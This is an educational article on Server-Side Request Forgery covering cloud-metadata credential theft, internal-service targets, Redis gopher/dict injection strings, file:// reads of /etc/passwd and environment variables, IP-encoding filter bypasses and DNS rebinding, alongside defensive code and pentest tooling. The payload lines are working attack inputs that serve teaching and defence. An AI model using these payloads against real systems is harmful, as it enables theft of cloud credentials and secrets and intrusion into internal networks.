SSRF - Server-Side Request Forgery
Server-Side Request Forgery (SSRF) is a vulnerability in which an attacker forces the server to send HTTP requests to internal or external resources that the attacker cannot directly access. SSRF can be used to attack cloud metadata APIs (AWS IMDSv1: 169.254.169.254), internal microservices, databases, and admin interfaces. SSRF ranks 10th on the OWASP Top 10 2021 (A10:2021) and is a common attack vector in cloud environments.
SSRF turns a server into a proxy for attackers—and becomes more dangerous the more cloud services are running behind the server. In AWS, an SSRF vulnerability can lead to the complete compromise of the entire AWS infrastructure if the EC2 Instance Metadata Service (IMDS) is configured without IMDSv2. In 2019, Capital One lost over 100 million customer records due to an SSRF vulnerability in a WAF—one of the most costly SSRF attacks in history.
Basic Principle of SSRF
Normal Request Flow:
Browser → Web App (example.com/fetch?url=https://legitime-seite.de) → legitimate-site.com → Response to Browser
SSRF Attack:
Attacker → Web app (example.com/fetch?url=http://169.254.169.254/latest/meta-data/) → AWS IMDS (internal service, not accessible externally!) → Response with IAM credentials sent to attacker!
Why does this work?
- Server trusts itself more than external clients
- Server has access to internal networks (localhost, 10.x, 172.16.x)
- Cloud IMDS is accessible to EC2 instances, not to external users
- Firewalls protect external → internal traffic is often "trusted"
Typical SSRF parameters in web apps:
url=, uri=, path=, src=, dest=, image=, href=, redirect=, target=, continue=, proxy=, return=, feed=, open=, file=, callback=, webhook=, next=, data=, window=, to=, out=
SSRF against cloud metadata
AWS IMDSv1 (dangerous! - no token required)
GET http://169.254.169.254/latest/meta-data/
→ list available metadata
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ finds the IAM role name
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
→ returns TEMPORARY AWS CREDENTIALS!
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "abc123...",
"Token" : "FQoGZXIvYXd...",
"Expiration" : "2026-03-04T12:00:00Z"
}
→ An attacker can act as an EC2 role!
AWS IMDSv2 (protected - token required)
# First, retrieve the token (PUT request - browser cannot send a PUT directly):
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Token is returned
# Then retrieve metadata using the token:
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token:<token>
# SSRF protection: An attacker cannot simply generate the token!
# (Requires a direct network connection to the instance)
GCP (Google Cloud) Metadata Server
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
→ OAuth token for GCP services
Azure IMDS
GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
→ Instance information, managed identity tokens
Other internal targets
http://localhost/admin → Local admin interfaces
http://10.0.0.1/ → Internal servers
http://172.16.0.1/ → Management interfaces
http://192.168.1.1/ → Routers/switches
http://elasticsearch:9200/_cat/indices → Elasticsearch data
http://redis:6379/ → Redis (via gopher://)
dict://redis:6379/KEYS * → Redis SSRF via DICT
SSRF Types
Basic SSRF (direct response)
- Server sends request and returns response
- Attacker sees direct response
- Identifiable by: URL parameters of the external resource being loaded
Blind SSRF (no direct response)
- Server makes request but does not return a response
- Only side effects are detectable (DNS lookup, timing, error messages)
- Proof: use own server as target (Burp Collaborator, interactsh)
# Proof with Burp Collaborator:
fetch?url=http://xyz.burpcollaborator.net/ssrf-test
# → When Collaborator receives DNS request: Blind SSRF confirmed!
# Open-source alternative: interactsh
fetch?url=http://UNIQUE_ID.oast.fun/test
# → interactsh-client registers the inbound request
SSRF via Redirect
# Attacker's server redirects to internal target:
GET /redirect → HTTP 302 Location: http://169.254.169.254/latest/meta-data/
# → If app follows redirect: SSRF via open redirect chain
SSRF via DNS Rebinding
# Step 1: DNS for attacker.com returns public IP (bypasses SSRF filter)
# Step 2: App makes second request – DNS now returns 169.254.169.254!
# → Time-of-Check-Time-of-Use attack
File URI SSRF
fetch?url=file:///etc/passwd → read local files
fetch?url=file:///proc/self/environ → environment variables (API keys!)
SSRF via various protocols
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0a → Redis command injection
dict://127.0.0.1:6379/AUTH:password → Redis auth bypass
ftp://127.0.0.1:21/ → Internal FTP server
ldap://127.0.0.1:389/ → Internal LDAP server
SSRF bypass of filters
Bypass IP address filters
| Method | Example |
|---|---|
| Octal Notation | 169.254.169.254 → 0251.0376.0251.0376 |
| Hexadecimal | 169.254.169.254 → 0xa9fea9fe |
| Decimal (Long Integer) | 169.254.169.254 → 2852039166 |
| Mixed Notation | http://0177.0.0x01/ → 127.0.0.1 |
| IPv6 loopback | http://[::1]/admin |
DNS resolution to internal IPs
http://169.254.169.254.nip.io/ → resolves to 169.254.169.254
http://localtest.me/ → resolves to 127.0.0.1
Domain with internal A record
# Register your own domain with an A record pointing to 169.254.169.254
http://evil.attacker.com/meta → resolves to 169.254.169.254
URL encoding and path traversal
http://127.0.0.1/ → http://127%2e0%2e0%2e1/
http://127.0.0.1/admin → http://127.0.0.1/%61dmin
http://legitime-site.de@169.254.169.254/ → Authority parsing difference
http://169.254.169.254#legitime-site.de
SSRF Protection Measures
1. Whitelist Instead of Blacklist
# DO NOT: Blacklist of IPs/Domains (too easy to bypass!)
# GOOD: Whitelist of allowed targets
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
def safe_fetch(url: str) -> str:
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError(f"Domain {parsed.hostname} not allowed")
if parsed.scheme not in ['http', 'https']:
raise ValueError("Only HTTP/HTTPS allowed")
response = requests.get(url, timeout=5, allow_redirects=False)
return response.text
2. Disable redirects
# Python requests: allow_redirects=False
# Node.js: redirect: 'manual' in fetch
# → Prevents SSRF via redirect chains
3. Check DNS resolution against allowlist
# DO NOT check hostname only – check IP after DNS resolution!
import socket
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
raise ValueError("Private IP not allowed!")
4. Network-level protection
# Enforce AWS IMDSv2 (token-based):
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx \
--http-tokens required \ # Enforce IMDSv2!
--http-endpoint enabled
# Completely disable instance metadata if not needed:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx \
--http-endpoint disabled
# Network Policy: Outbound connections from app containers:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
spec:
podSelector:
matchLabels:
app: web
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.0.0/16 # Block AWS IMDS
- 10.0.0.0/8 # Block internal networks
- 172.16.0.0/12
- 192.168.0.0/16
5. Webhook Validation
def validate_webhook_url(url: str) -> bool:
"""DNS Pre-Check + Async Validation"""
parsed = urllib.parse.urlparse(url)
# 1. No Private IPs
try:
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
return False
except socket.gaierror:
return False
# 2. HTTPS Only for External Webhooks
return parsed.scheme == 'https'
SSRF Testing in Penetration Testing
Burp Suite Pro
- Burp Collaborator: Out-of-band detection for Blind SSRF
- Burp Scanner: Automatic SSRF detection
- Passive Scan: Detects potential SSRF parameters
interactsh (Open Source)
# Start server:
interactsh-server -domain oast.fun -ip 1.2.3.4
# Use client:
interactsh-client
> USE xyz.oast.fun # Generate unique ID
# In the test:
fetch?url=http://xyz.oast.fun/ssrf-test
# → Client displays incoming request: IP, headers, payload
Nuclei SSRF Templates
nuclei -t nuclei-templates/vulnerabilities/ssrf/ -u https://target.com
# → Automated SSRF detection with DNS callback
Testing SSRF Payloads
# Cloud Metadata:
fetch?url=http://169.254.169.254/latest/meta-data/
fetch?url=http://metadata.google.internal/
fetch?url=http://169.254.169.254/metadata/instance
# Blind SSRF with timing:
fetch?url=http://10.0.0.1:22/ → SSH port (slow response = port open?)
fetch?url=http://10.0.0.1:80/ → HTTP port
# Out-of-Band (DNS):
fetch?url=http://COLLABORATOR.burpcollaborator.net/
```</token>